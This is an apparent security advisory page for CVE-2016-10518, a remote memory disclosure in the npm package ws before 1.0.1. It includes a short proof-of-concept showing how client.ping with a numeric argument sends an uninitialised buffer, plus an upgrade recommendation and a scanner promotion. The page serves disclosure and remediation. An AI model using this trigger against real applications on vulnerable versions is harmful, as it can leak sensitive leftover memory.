LowGHSA-2mhh-w6q8-5hxwCVE-2016-10518

Remote Memory Disclosure in ws

Published 18 Feb 2019 · Updated 8 Nov 2023

Affected package

wsnpm
Affected
<1.0.1
Fixed in
1.0.1
Update to the fixed version for your release line, for example:npm install ws@1.0.1

Details

Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.

In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.

Proof of Concept

var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
  console.log('open')
  client.ping(50) // this sends a non-zeroed buffer of 50 bytes

  client.on('pong', function (data) {
    console.log('got pong')
    console.log(data) // Data from the client. 
  })
})

Recommendation

Update to version 1.0.1 or greater.

Is GHSA-2mhh-w6q8-5hxw in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected ws, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.